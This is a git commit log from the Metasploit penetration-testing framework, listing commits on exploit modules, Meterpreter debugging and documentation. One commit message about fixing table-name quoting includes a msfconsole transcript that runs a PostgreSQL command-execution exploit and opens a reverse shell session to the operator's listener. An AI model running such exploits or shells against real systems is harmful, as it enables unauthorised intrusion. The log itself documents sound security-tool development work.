Jack Heysel 5411b6b909 Added docs 2022-04-21 09:24:13 -07:00
jheysel-r7 841fd12519 Update modules/post/windows/gather/enum_av.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-04-21 09:23:11 -07:00
Grant Willcox e2c6c36b2b Land #1642, Add module for cve-2022-0995 2022-04-21 09:12:47 -05:00
npm-cesium137-io 2e7ae40fcb Revise vcenter_secrets_dump 2022-04-21 09:51:51 -04:00
npm-cesium137-io 925df9dc87 Update markup document 2022-04-21 09:41:09 -04:00
npm-cesium137-io 30aaea9350 Add vcenter_forge_saml_token aux module 2022-04-21 09:25:35 -04:00
bwatters 9cba9576cd Keep code reusable and fix some logical complexities 2022-04-21 07:44:40 -05:00
Metasploit 1e97ced013 automatic module_metadata_base.json update 2022-04-21 04:31:23 -05:00
adfoster-r7 104071e816 Land #16483, fix typo 'MetaSploit' in readme and comment 2022-04-21 10:13:14 +01:00
Metasploit ce76ff44d1 automatic module_metadata_base.json update 2022-04-21 00:48:13 -05:00
Jack Heysel d3c9648af0 Land #16438, Fix smtp server auth prompt
Some smtp servers only give out creds when promted.
Now there exists a mondule option 'AUTHPROMPT' to indicate
whether or not the auth prompt is required by the server.
2022-04-20 22:21:55 -07:00
Redouane NIBOUCHA 2e04c1b8f7 Remove references to PostgreSQL 2022-04-21 06:57:50 +02:00
Anton Panteleev 9297c0e058 FIX: typo 'MetaSploit' in readme and comment 2022-04-21 14:44:57 +10:00
Grant Willcox 69b54c8448 Add in additional validation to check methods to address bcoles's comments and also to prevent issues with fail_with being used inside a check method 2022-04-20 19:50:08 -05:00
Grant Willcox f33e3f45c1 RuboCop compliance for PacketStorm 2022-04-20 19:09:14 -05:00
Grant Willcox 78d4ac8592 Update module reliability and also fix issues from bcoles's review 2022-04-20 19:04:27 -05:00
Grant Willcox 86a978388c Land #16479, Meterpreter's reg setval command: add support to binary data when setting a REG_BINARY key value 2022-04-20 17:53:36 -05:00
bwatters fb4d12a558 Semicolon.... 2022-04-20 17:41:16 -05:00
bwatters 26f9175816 Update c source with argc check and CRASH notes for module 2022-04-20 17:37:48 -05:00
Grant Willcox 7aa36a65d6 Add in additional validation options and rework the regex a bit so that we only match on valid hex characters. 2022-04-20 17:11:14 -05:00
Metasploit 2bbaf84e2e automatic module_metadata_base.json update 2022-04-20 14:41:20 -05:00
bwatters d9a241defb Fix overzealous source code edit and some version copy/pasta errors 2022-04-20 14:31:32 -05:00
Spencer McIntyre 8e2bd3c5a9 Land #16475, ManageEngine ADSelfService Plus RCE 2022-04-20 15:22:36 -04:00
Spencer McIntyre bf1f786813 Title case the target name 2022-04-20 15:22:07 -04:00
adfoster-r7 2f4a09c9c8 Updated Meterpreter Debugging Meterpreter Sessions (markdown) 2022-04-20 19:30:22 +01:00
adfoster-r7 f417dbdd6e Updated Meterpreter Debugging Meterpreter Sessions (markdown) 2022-04-20 19:23:23 +01:00
adfoster-r7 9c2c377e0a Add MeterpreterDebugBuild examples 2022-04-20 19:22:06 +01:00
adfoster-r7 7e3825d927 Document setg SessionTlvLogging 2022-04-20 18:13:40 +01:00
Jack Heysel 2f5f5c83d7 Land #16437 add esxi to ssh_login platforms
Fixes #16431 by adding ESXi as a recognizable
type on ssh_login
2022-04-20 07:35:18 -07:00
Jake Baines aba48a6905 Improve JSON cleanup, fix jjs specific wording, and moved JJS_PATH to defaultoptions 2022-04-20 06:27:43 -07:00
Metasploit deda43fe51 automatic module_metadata_base.json update 2022-04-20 08:08:45 -05:00
adfoster-r7 62a7617acb Land #16478, Rubocop fix for arista_tacplus_shell lint msftidy error 2022-04-20 13:49:37 +01:00
Christophe De La Fuente 99789c81de Add support to binary data with setting a REG_BINARY key value 2022-04-20 12:12:57 +02:00
Jack Heysel dd0be6cad5 Rubocop fix for arista_tacplus_shell 2022-04-19 22:38:50 -07:00
Metasploit c59495cc5f automatic module_metadata_base.json update 2022-04-20 00:33:52 -05:00
Jack Heysel 4417a335ff Land #16379, Make SSH defaults widely used
Refactored a number of modules to use ssh_client_defaults
2022-04-19 22:08:45 -07:00
Metasploit 03991f5166 automatic module_metadata_base.json update 2022-04-19 17:42:19 -05:00
Grant Willcox 6bd07fd1ab Land #16477, Modules: Prefer CVE references over cve.mitre.org URL references 2022-04-19 17:18:08 -05:00
Grant Willcox 76acc0e56a Land #16476, msftidy - Prefer cve.org URL references over cve.mitre.org URL references 2022-04-19 17:04:21 -05:00
Grant Willcox a756df5400 Add in missing RuboCop note sections 2022-04-19 16:40:57 -05:00
Brendan Coles 94ed9ae28b Modules: Prefer CVE references over cve.mitre.org URL references 2022-04-19 20:42:23 +00:00
Brendan Coles b8be080615 msftidy: Prefer CVE references over cve.mitre.org URL references 2022-04-19 20:35:21 +00:00
Jake Baines c77e12e0c5 Fixed the name of the jjs cmd 2022-04-19 11:28:26 -07:00
Grant Willcox 42c94fee81 Land #16457, Restore multi-char short flag support 2022-04-19 12:44:10 -05:00
Grant Willcox 1e67d62f42 Minor fix to improve readability 2022-04-19 12:43:57 -05:00
Jake Baines ae54c8c3d9 Initial implementation of authenticated RCE against ManageEngine ADSelfService Plus (CVE-2022-28810) 2022-04-19 10:33:54 -07:00
ORelio 1fdedebacf Add settings to adjust delay and interval
TIME_KBD_DELAY: Delay in milliseconds (0 to disable)
TIME_KBD_TRESHOLD: How many keys between each delay
2022-04-19 17:40:14 +02:00
adfoster-r7 253f791478 Land #16470, restrict ruby_smb to patch version 2022-04-19 10:15:08 +01:00
Heyder Andrade fd6c8aa3d5 Lint msftidy 2022-04-18 23:36:23 +02:00
Jeffrey Martin 617df4da74 restrict ruby_smb to patch version
Based on https://github.com/rapid7/ruby_smb/blob/4fac10d8a7919c421badabedccd9d4d7902a9901/CONTRIBUTING.md#versioning

Locking version to patch level as framework takes performs manipulation of bindata structures.
2022-04-18 16:01:13 -05:00
Heyder Andrade b363a7e403 Merge branch 'fix/ssh_defaults_usage' of github.com:heyder/metasploit-framework into fix/ssh_defaults_usage 2022-04-18 20:19:36 +02:00
Heyder Andrade 4252fe01e6 Rubocop 2022-04-18 20:17:44 +02:00
Heyder Andrade 9e54830f93 Making SSH defaults widely used 2022-04-18 20:16:34 +02:00
Heyder Andrade bdc69d8399 Rubocop 2022-04-18 20:14:57 +02:00
Heyder Andrade 83793b6df7 Making SSH defaults widely used 2022-04-18 20:12:04 +02:00
Heyder Andrade 91c08b3fac Rubocop 2022-04-18 20:09:52 +02:00
Heyder Andrade 244d04fa4f Making SSH defaults widely used 2022-04-18 20:08:27 +02:00
Heyder Andrade 42d7e4f3b7 Rubocop 2022-04-18 20:05:46 +02:00
Heyder Andrade fcef6dd515 Making SSH defaults widely used 2022-04-18 19:46:51 +02:00
Heyder Andrade 0058a3aef0 Rubocop 2022-04-18 19:43:16 +02:00
space-r7 500d08f08e Land #16426, fix osx stager crash in osx Monterey 2022-04-18 12:38:51 -05:00
Heyder Andrade 5388ac5613 Making SSH defaults widely used 2022-04-18 19:36:37 +02:00
Heyder Andrade 6f1a6ce712 Rubocop 2022-04-18 19:34:49 +02:00
Heyder Andrade e34bff1b85 Making SSH defaults widely used 2022-04-18 19:30:43 +02:00
Heyder Andrade 2f3710f91b Rubocop 2022-04-18 19:25:38 +02:00
Heyder Andrade e1d12e47c3 Making SSH defaults widely used 2022-04-18 19:22:56 +02:00
Heyder Andrade c4d8ff839e Rubocop 2022-04-18 19:12:50 +02:00
Jack Heysel 37e334f95d Rubocop 2022-04-18 09:36:52 -07:00
Jack Heysel 9e283ae1b1 Refactored aassigned list of modules 2022-04-18 09:35:08 -07:00
Heyder Andrade 7431f76c19 Making SSH defaults widely used 2022-04-18 18:03:57 +02:00
Heyder Andrade d2e122c7f8 Rubocop 2022-04-18 17:57:01 +02:00
Heyder Andrade 44b34b772a Making SSH defaults widely used 2022-04-18 17:53:42 +02:00
Heyder Andrade be6a56feff Rubocop 2022-04-18 17:49:04 +02:00
Heyder Andrade c7ce4d2592 Making SSH defaults widely used 2022-04-18 17:38:41 +02:00
space-r7 54f8d44639 add osx binary 2022-04-18 09:42:40 -05:00
npm-cesium137-io 37af434510 Add vcenter_secrets_dump post module 2022-04-17 19:25:32 -04:00
h00die e927da2ffa land #16359, docs for ipidseq aux module 2022-04-17 08:35:20 -04:00
h00die 079794c2de doc cleanup for ipidseq 2022-04-17 08:34:53 -04:00
Metasploit 6a9e73e689 automatic module_metadata_base.json update 2022-04-16 18:30:05 -05:00
Jeffrey Martin 7c8c0b5e05 Land #16446, Bump RubySMB 2022-04-16 18:10:19 -05:00
Metasploit 4e17ccede4 automatic module_metadata_base.json update 2022-04-16 15:45:52 -05:00
Grant Willcox 3f9e4e2d82 Land #16461, Move getsimplecms_unauth_code_exec.md documentation to http dir 2022-04-16 15:15:22 -05:00
Grant Willcox 8e4708205d Land #16458, fortios_vpnssl_traversal_creds_leak: Add authors, notes, and references 2022-04-16 15:08:32 -05:00
Brendan Coles 66fe338297 Move getsimplecms_unauth_code_exec.md documentation to http dir 2022-04-16 16:53:34 +00:00
RageLtMan ce76f0e62e Upcase error check for consistency 2022-04-16 07:27:36 -04:00
Brendan Coles e34201ce48 fortios_vpnssl_traversal_creds_leak: Add authors, notes, and references 2022-04-16 06:52:59 +00:00
Grant Willcox a977d48508 Land #16448, Add in dependency updates PR action 2022-04-15 17:08:03 -05:00
Jeffrey Martin 74e734c7e8 restore multi-char short flag support
Recent updates in `Rex::Parser::Arguments` regressed the ability have
short flags with multiple characters.
2022-04-15 15:11:11 -05:00
Metasploit d22065f09a automatic module_metadata_base.json update 2022-04-14 13:53:48 -05:00
Jack Heysel 0d3f50522d Land #16318 Add support to old KEX algorithms
This commit fix the issue #16138 by adding
support to old key exchange algorithms in
the net/ssh lib by defining the
append_all_supported_algorithms to true.
2022-04-14 11:29:39 -07:00
Grant Willcox b83a4b2a7a Add in fixes to module and documentation from final review 2022-04-14 12:45:15 -05:00
Metasploit 67e710b69b Bump version of framework to 6.1.39 2022-04-14 12:31:53 -05:00
Jeffrey Martin 60e3e6e532 Land #16455, Remove railgun requirement from post file mixin 2022-04-14 12:04:47 -05:00
bwatters 83f4473c2a Correct Ubuntu target version 2022-04-14 12:01:38 -05:00
Metasploit ae9f12ab97 automatic module_metadata_base.json update 2022-04-14 11:59:59 -05:00
Grant Willcox 82be63ffdc Land #16451, Use debug versions of extensions if MeterpreterDebugBuild is enabled 2022-04-14 11:34:08 -05:00
adfoster-r7 7f24482ade Remove railgun requirement from post file mixin 2022-04-14 17:14:18 +01:00
adfoster-r7 22a3ae1bf5 Land #16411, expose detailed results for each module match 2022-04-14 17:06:57 +01:00
bwatters 03d01d2f72 Remove stray markup 2022-04-14 10:29:54 -05:00
Heyder Andrade bf849eb2a2 Making SSH defaults widely used 2022-04-14 17:27:19 +02:00
bwatters f32443b477 Update with debug source code and options, cleanup module code per gwillcox-r7 2022-04-14 10:25:55 -05:00
Heyder Andrade c4700c9e64 Rubocop 2022-04-14 17:25:48 +02:00
Jeffrey Martin 4bf199aff5 remove duplicate condition 2022-04-14 10:18:59 -05:00
Heyder Andrade 64eccf5578 Rollback changes used for test 2022-04-14 14:48:26 +02:00
Redouane NIBOUCHA 8e9e2aa7e8 Use OptEnum instead of OptInt for DBMS and SQLI_TYPE 2022-04-14 03:56:12 +02:00
Jack Heysel 04f042ae47 Land #16221, a wordpress_scanner bug fix
Adjust wordpress_url_rest_api definition to support
sites that don't place REST API under /index.php/
2022-04-13 14:22:17 -07:00
jerrelgordon 92a1e207db Update modules/post/windows/gather/get_bookmarks.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-04-13 14:50:07 -04:00
Heyder Andrade d3c8119e25 Removed string from the command input 2022-04-13 18:55:17 +02:00
Heyder Andrade 29aae09b62 Added support to depecreted key exchange algorithms 2022-04-13 18:54:12 +02:00
Heyder Andrade 0eb9d68319 Added support to depecreted key exchange algorithms 2022-04-13 18:53:50 +02:00
Heyder Andrade 1305baf6f6 Module should use ssh_defaults 2022-04-13 18:51:43 +02:00
ORelio fa86decd09 Apply suggestion from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-04-13 18:25:45 +02:00
Metasploit e127f3013d automatic module_metadata_base.json update 2022-04-13 11:09:40 -05:00
adfoster-r7 26e8ade3f7 Land #16396, add configuration for debug logging in PHP Meterpreter 2022-04-13 16:49:24 +01:00
dwelch-r7 be7510dba3 Additional mocking 2022-04-13 15:46:18 +01:00
dwelch-r7 aca1b8df9b Use debug versions of extensions if MeterpreterDebugBuild is enabled 2022-04-13 14:10:57 +01:00
ORelio 1ddd893b0f VNC Keyboard Exec: Avoid typing too fast
Avoid overloading target's keyboard buffer by inserting small sleeps in long commands
2022-04-13 14:28:17 +02:00
sjanusz b5dd215cee Update cached PHP Meterpreter payload size 2022-04-13 13:09:00 +01:00
bwatters 42a56b2800 Remove the thing I commented out..... 2022-04-12 21:19:20 -05:00
bwatters 147d6e1df7 Added docs, reverted strip_comments, rubocop'd 2022-04-12 21:14:11 -05:00
Jeffrey Martin 3fe5e8b450 dependency updates PR action
In an effort to offer an opportunity for security review and approval
of gem updates after a version is tagged and pushed a new `bundle update`
be preformed and a branch pushed containing the isolate `Gemfile.lock` changes.

This new action will open a PR for committers to review and an land after
completing security review of updates in the gems.
2022-04-12 14:40:15 -05:00
sjanusz 630efa6dbe Bump payloads version 2022-04-12 18:13:29 +01:00
sjanusz 5fdf82ff76 Add toggleable logging to console & file to PHP Meterpreter 2022-04-12 17:15:06 +01:00
Spencer McIntyre 052e56174d Bump the version of RubySMB to 3.1 2022-04-12 10:46:55 -04:00
Spencer McIntyre a4a9bc033a Fix building the SessionSetup request for MS17-010
RubySMB commit 8035d9c2 broke the exploit's SessionSetup request.
2022-04-12 10:45:17 -04:00
Grant Willcox c6f97d8f2c Freenode is kinda old now and the channel is fairly dead now. Suggest Slack instead for nick contact but keep Freenode in just in case people prefer that. 2022-04-12 09:27:36 -05:00
Grant Willcox 5358bb66fc Updated How to Apply to GSoC (markdown) 2022-04-12 09:26:25 -05:00
Metasploit cb9e412138 automatic module_metadata_base.json update 2022-04-12 06:58:49 -05:00
dwelch-r7 592690f22f Land #16377, Add debug option to Python Meterpreter 2022-04-12 12:41:05 +01:00
sjanusz b0e4a16fa1 Update cached Python Meterpreter payload sizes 2022-04-12 11:39:56 +01:00
sjanusz 020e65c958 Bump payloads version 2022-04-12 11:28:09 +01:00
sjanusz fc73498919 Add debug option to Python Meterpreter 2022-04-12 10:54:26 +01:00
usiegl00 b9052be102 Use libdyld locator to fix osx stager on monterey
We locate the dyld_shared_cache in memory to find and resolve the
functions we need in libdyld.dylib. We retain the original dyld location
method on osx versions before Sierra.

Explicitly set length for osx x64 initial stage

The rdx register, used for passing the payload length, is being
clobbered by a system call in the new MacOS version. Instead of relying
on the register being untouched, we set it equal to the payload length.
2022-04-12 11:27:23 +09:00
Metasploit c786d9c150 automatic module_metadata_base.json update 2022-04-11 15:28:05 -05:00
h00die ab382cddf0 change requireauth to authprompt 2022-04-11 14:26:25 -04:00
Simon Janusz 45dcfda49a Land #16418, Add debugging Meterpreter sessions navigation entry
Add debugging Meterpreter sessions navigation entry
2022-04-11 11:34:00 +01:00
Redouane NIBOUCHA 8369286956 Remove obsolete PostgreSQL test module, and push one for all the supported DBMS
Remove the postgres_sqli_test
2022-04-11 03:26:39 +02:00
h00die f7b58e243c smtp server can prompt for auth 2022-04-10 11:55:07 -04:00
h00die 38e5e4350b add esxi to ssh_login platforms 2022-04-10 11:24:42 -04:00
RageLtMan d06a5db6d6 Enumerate Windows AV via WMI root\SecurityCenter2
Query WMI via shell or meterpreter session for deployed AV products
from the root\SecurityCenter2 namespace; record results as notes.
2022-04-09 12:06:41 -04:00
adfoster-r7 f4a8baf9e2 Add pivoting section 2022-04-08 22:45:51 +01:00
Grant Willcox e31c60c47d Updated Pivoting in Metasploit (markdown) 2022-04-08 15:41:14 -05:00
adfoster-r7 a53be3184a Improving error handling of Kerberos 2022-04-08 20:48:10 +01:00
Grant Willcox acb155f57f Redo documentation per review edits n suggestions and add in pivoting via SOCKS module with proxychains-ng 2022-04-08 14:23:57 -05:00
adfoster-r7 1e867ac5a7 Improve kerberos user enum module 2022-04-08 15:55:37 +01:00
vleminator 525480d592 Change the doc to reflect changes to the module. Additionally, the different target options are showcased 2022-04-08 11:11:27 +02:00
vleminator 2fdcc143c0 Improve usability by turning the payload path into custimizablea module option 2022-04-08 11:10:16 +02:00
vleminator cf5bca9166 Improve exploit reliability 2022-04-08 10:47:23 +02:00
vleminator 6c96fd9ab9 Apply rubocop suggestions 2022-04-08 09:48:41 +02:00
Grant Willcox 1e3d60a110 Updated Pivoting in Metasploit (markdown) 2022-04-07 18:45:34 -05:00
Grant Willcox 58e668fecf Create Initial Copy of Pivoting Page 2022-04-07 18:45:12 -05:00
bwatters 4fada9570c Remove extra file 2022-04-07 17:12:37 -05:00
bwatters 96d86944da Added precompiled binary and option to strip output, fixed comment-strip bug 2022-04-07 17:09:35 -05:00
adfoster-r7 d81173fa81 Fix encoding 2022-04-07 19:13:59 +01:00
Metasploit c252faf938 Bump version of framework to 6.1.38 2022-04-07 12:06:06 -05:00
Spencer McIntyre 5de966cfb1 Land #16382, CVE-2022-26904 SuperProfile LPE 2022-04-07 12:52:39 -04:00
Jeffrey Martin 8356b3cc1c refactor analyze rpc interface & output format 2022-04-07 11:06:42 -05:00
Grant Willcox 51e37bbe42 Add in process kill off code for Meterpreter sessions, seems I forgot to include this 2022-04-07 10:48:08 -05:00
dwelch-r7 a82c936613 Land #16373, Add initial ruby 3.1 support 2022-04-07 16:44:02 +01:00
Grant Willcox 80d31636f8 Land #16398, add missing payload tests 2022-04-07 10:40:47 -05:00
vleminator 7b2e8cf37f Apply suggestions from code review
Co-authored-by: bcoles <bcoles@gmail.com>
2022-04-07 16:57:00 +02:00
vleminator 3bba17bc56 fail_with should not be used in check 2022-04-07 16:53:17 +02:00
vleminator b60dd43405 Add modules notes, with Spring4Shell 2022-04-07 16:46:49 +02:00
vleminator 53adf24c86 Apply suggestions from code review
Co-authored-by: bcoles <bcoles@gmail.com>
2022-04-07 16:40:03 +02:00
jerrelgordon 32edc6c5b5 variable name changes 2022-04-07 10:23:54 -04:00
vleminator fe59475c9f Change the documentation to resemble the correct exploit filename 2022-04-07 15:43:07 +02:00
vleminator 4e6176d9ca Finish exploit CVE-2022-22965 2022-04-07 15:22:18 +02:00
Grant Willcox 619661a845 Land #16419, Fix crash when sorting modules by disclosure date 2022-04-06 16:50:08 -05:00
Jeffrey Martin 34bcf48724 Updated How to Apply to GSoC (markdown) 2022-04-06 16:20:47 -05:00
Grant Willcox 1d24ed34a9 Note some important changes for 2022 2022-04-06 16:16:54 -05:00
bwatters db89fc5e7a Add module for cve-2022-0995 2022-04-06 13:35:14 -05:00
adfoster-r7 aafb38c7ed Fix crash when sorting modules by disclosure date 2022-04-06 18:51:28 +01:00
Metasploit ba3f455132 automatic module_metadata_base.json update 2022-04-06 11:36:40 -05:00
space-r7 1fd779c52c Land #15972, add LEAK_PARAMS option log4shell scan 2022-04-06 11:17:44 -05:00
Grant Willcox 4638067723 Fix RuboCop errors 2022-04-06 09:18:05 -05:00
Grant Willcox f93d4a6f67 Add more detail to Data Visualization project to help users understand what is going on a bit more 2022-04-06 09:14:34 -05:00
Grant Willcox c64a191a77 Add in link to Metasploit Goliath Wiki Page 2022-04-06 09:07:05 -05:00
adfoster-r7 e10c0fb1a5 Extract navigation config to a separate file 2022-04-06 14:16:36 +01:00
Spencer McIntyre 70b1da6df4 Fix a misspelling 2022-04-06 09:04:26 -04:00
Spencer McIntyre 04ac668e21 Update the docs for readability 2022-04-06 08:58:09 -04:00
adfoster-r7 b611b601b4 Improve SEO 2022-04-06 13:27:10 +01:00
adfoster-r7 f30fc33785 Rename file for consistency 2022-04-06 13:21:59 +01:00
adfoster-r7 d70bd696ba Rename file for consistency 2022-04-06 13:15:26 +01:00
Metasploit a63ad7743a automatic module_metadata_base.json update 2022-04-06 05:05:31 -05:00
Christophe De La Fuente 94e0eec249 Land #16082, Add ShadowMitmDispatcher to the smb_shadow module 2022-04-06 11:45:59 +02:00
Metasploit 025802474e automatic module_metadata_base.json update 2022-04-06 02:18:08 -05:00
Tim W d60754ea37 Land #16401, add CVE-2022-22616 to osx_gatekeeper_bypass 2022-04-06 07:57:32 +01:00
jerrelgordon 9b03e74484 Documentation for get_bookmarks module 2022-04-05 22:49:12 -04:00
Grant Willcox c8c91fcaf3 Add in fix to ensure that we can spawn sessions automatically on Windows 10 20H2 and other systems were we hit a bug with UAC prompts from the exploit DLL itself not triggering the payload 2022-04-05 19:16:48 -05:00
usiegl00 27c8210b27 Update smb_shadow module to fix rubocop errors
Use msftidy to fix the rubocop errors.
2022-04-06 07:12:46 +09:00
usiegl00 8495bff61c Merge master and update the smb_shadow module
Add comments detailing the technique used to attack SMBv3. Remove some
comments that are no longer needed. Fix Gemfile.lock conflict.
2022-04-06 07:06:45 +09:00
Spencer McIntyre 05f6de65df Update the docs to include LEAK_PARAMS 2022-04-05 17:52:11 -04:00
Grant Willcox 597e173b0a Update license terms to properly comply with MIT license on exploit code. 2022-04-05 16:31:03 -05:00
jerrelgordon aa7cba7b72 included store_loot and string interpolation 2022-04-05 16:50:51 -04:00
RageLtMan 23fc179160 Scan for log4shell-provided infoleaks
The formatted string containing the JNDI URL can contain further
formatted strings within it sourcing data from the formatting Java
context. This is the mechanism by which this module already gathers
target information.

Expand this capability by permitting the user to supply their own
query string variables separated by '^' and comparing the output
to these inputs for extraction of relevant exposed values.

To help with targeting for the pending-in-PR exploit module, add OS
detection capabilities as well.
2022-04-05 16:38:26 -04:00
Metasploit 1009e7c725 automatic module_metadata_base.json update 2022-04-05 15:17:04 -05:00
jerrelgordon d96c3df3e7 Ran rubocop and added notes 2022-04-05 16:09:37 -04:00
space-r7 1a48bccb42 Land #16403, improve Qemu / KVM detection 2022-04-05 14:58:16 -05:00
Jeffrey Martin d35137ed3a initial Msf::Analyze::Result top level states 2022-04-05 14:06:40 -05:00
Grant Willcox 9e2d7f655b Update data to fix more things found during review process 2022-04-05 12:48:11 -05:00
adfoster-r7 b2da562d97 Add initial boilerplate documentation 2022-04-05 17:59:07 +01:00
jerrelgordon d3e32eca5b Style fixes 2022-04-05 12:59:01 -04:00
space-r7 a43bfc9292 use safari version with specific cve 2022-04-05 10:31:51 -05:00
space-r7 4c8c32b3ff set file header to Contents dir, check safari vers 2022-04-05 10:16:59 -05:00
usiegl00 09ae52fecd Update smb_shadow and shadow_mitm_dispatcher
Remove duplicated print_status messages. Use respond_to? instead of
methods.include?. Simplify payload generation. Fix naming for the rst
capture thread.
2022-04-05 20:03:14 +09:00
Grant Willcox db4b22df5e Update the exploit code to output errors in a better format, and fix a potential issue when trying to delete folders recursively. Also update exploit module to try kill msiexec.exe if its still running to prevent it holding onto handles when it shouldn't be. 2022-04-04 17:58:52 -05:00
adfoster-r7 3e63fe579f Land #16410, Fix setg sessiontlvlogging crashing on non-Meterpreter sessions 2022-04-04 22:43:34 +01:00
Metasploit c80994a6a1 automatic module_metadata_base.json update 2022-04-04 14:32:45 -05:00
Grant Willcox 4a27909358 Land #16399, Add in CVE-2022-28381 - AllMediaServer 1.6 SEH Buffer Overflow 2022-04-04 14:12:03 -05:00
Jeffrey Martin fd809d49ea expose detailed results for each module match 2022-04-04 13:10:48 -05:00
sjanusz 3b313b4ebe Fix setg sessiontlvlogging crashing on non-Meterpreter sessions 2022-04-04 18:31:50 +01:00
Grant Willcox e800dcb597 Add in documentation file 2022-04-04 12:05:28 -05:00
Grant Willcox bba40bcd21 Add in fixes from code review 2022-04-04 12:05:21 -05:00
Grant Willcox 7e5123cd24 Add initial code from Hajap Zairy Al-Sharif 2022-04-04 11:56:14 -05:00
adfoster-r7 a510d74cf9 Land #16408, fix postgres_copy_from_program_cmd_exec to quote table name 2022-04-04 13:31:54 +01:00
Alexander Neumann 642bb12505 postgres_copy_from_program_cmd_exec: Quote table name
In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

    msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
    RHOSTS => 192.168.2.2
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
    tablename => 123test
    [...]
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444·
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
    [-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

    $ psql --user postgres -W -h 192.168.2.2 template1
    [...]
    template1=# DROP TABLE IF EXISTS 123test;
    ERROR:  syntax error at or near "123"
    LINE 1: DROP TABLE IF EXISTS 123test;
                                 ^
    template1=# DROP TABLE IF EXISTS "123test";
    NOTICE:  table "123test" does not exist, skipping
    DROP TABLE

With the patch, the script also works with table names which start with
numbers:

    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
    [*] 192.168.2.2:5432 - Exploit Succeeded

    [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
2022-04-04 10:32:01 +02:00
jerrelgordon 476ff36d8d Bug fixes
*fixed typo for "browser"
*modified to use read_file instead of file.open to read files
2022-04-03 11:52:20 -04:00
jerrelgordon 587096f15d Create get_bookmarks.rb
Metasploit Module that retrieves bookmarks from the following browsers: Google Chrome, Opera & Microsoft Edge.
2022-04-03 03:57:17 -04:00
RageLtMan 35bd113952 Improve Qemu/KVM detection for BOCHS HW
Does what it says:
```
[*] Checking if the target is a Virtual Machine ...
[+] This is a Qemu/KVM Virtual Machine
[*] Post module execution completed

```
2022-04-02 10:43:57 -04:00
usiegl00 7e010cbde2 Merge master and update smb_shadow + dispatcher
The smb_shadow module can confirm the server smb version supported with
the ConfirmServerDialect option. The shadow_mitm_dispatcher closes each
stream before opening a new one to prevent leaking file descriptors.
2022-04-02 10:39:02 +09:00
space-r7 0505dff7e3 add option in verification steps 2022-04-01 18:03:49 -05:00
space-r7 e9e1e26def add support for CVE-2022-22616, update docs 2022-04-01 17:50:33 -05:00
Grant Willcox 8daecca5c3 Update code with latest changes 2022-04-01 12:11:05 -05:00
Jeffrey Martin cb5d449676 add missing payload tests
A number of recent payload adds do not conform the patterns
used for suggesting spec configurations.  Manually added these
tests to remove warning in rspec run.
2022-04-01 12:01:17 -05:00
Metasploit e12d421a32 automatic module_metadata_base.json update 2022-04-01 11:35:25 -05:00
space-r7 fc1809370d Land #16381, add chocolatey enumerator module 2022-04-01 11:16:28 -05:00
space-r7 79df6190e6 call chocopath once, return nil instead of false 2022-04-01 10:56:11 -05:00
RadioLogic eb54081a62 Made table regex properly only grab lines that are start lines 2022-04-01 11:31:23 -04:00
adfoster-r7 bef0c9be8f Land #16299, Make TLV Logging cache threadsafe 2022-04-01 16:19:45 +01:00
Metasploit aca82f5a89 automatic module_metadata_base.json update 2022-04-01 09:59:41 -05:00
adfoster-r7 35771327ce Land #16320, Add debug option for windows meterpreter 2022-04-01 15:41:57 +01:00
dwelch-r7 7d099ab428 Bump payloads version 2022-04-01 14:03:19 +01:00
dwelch-r7 37117383f7 Updated cached sizes 2022-04-01 11:58:53 +01:00
dwelch-r7 2f76a650c1 Updated cached sizes 2022-04-01 11:33:30 +01:00
dwelch-r7 647463b5ad Use updated payloads gem and refactor debug option 2022-04-01 11:20:22 +01:00
dwelch-r7 8e773c1939 Rename debug option and make it advanced 2022-04-01 11:14:52 +01:00
dwelch-r7 13ca7c88f3 Add debug option for windows meterpreter 2022-04-01 11:14:52 +01:00
Grant Willcox d29f5690a1 Add in backup code to DLL template to fall back to old way of executing things in case the BREAKAWAY_FROM_JOB flag cannot be used 2022-03-31 14:28:29 -05:00
Grant Willcox 57473850c1 Fix up RuboCop errors as last change made it so that we had an unless elsif statement which isn't valid in Ruby 2022-03-31 12:52:16 -05:00
Grant Willcox 24342e764c Update solution file so that we can only build the DLL for x64 bit platforms since that is the only one we support at this time 2022-03-31 12:31:55 -05:00
Grant Willcox 743138abed Add in initial fixes from review and remove extra BREAKAWAY_FROM_JOB code changes not directly related to this PR as we'll raise a separate PR for those 2022-03-31 12:13:29 -05:00
Metasploit 39aa17fd61 Bump version of framework to 6.1.37 2022-03-31 12:06:46 -05:00
Metasploit 5bac9c5119 automatic module_metadata_base.json update 2022-03-31 11:00:06 -05:00
space-r7 1f6c4d634e Land #16395, add Spring Cloud Function SpEl RCE 2022-03-31 10:41:30 -05:00
RadioLogic 6f933291be Made chocopath give false if all other alternatives dont work 2022-03-31 11:32:43 -04:00
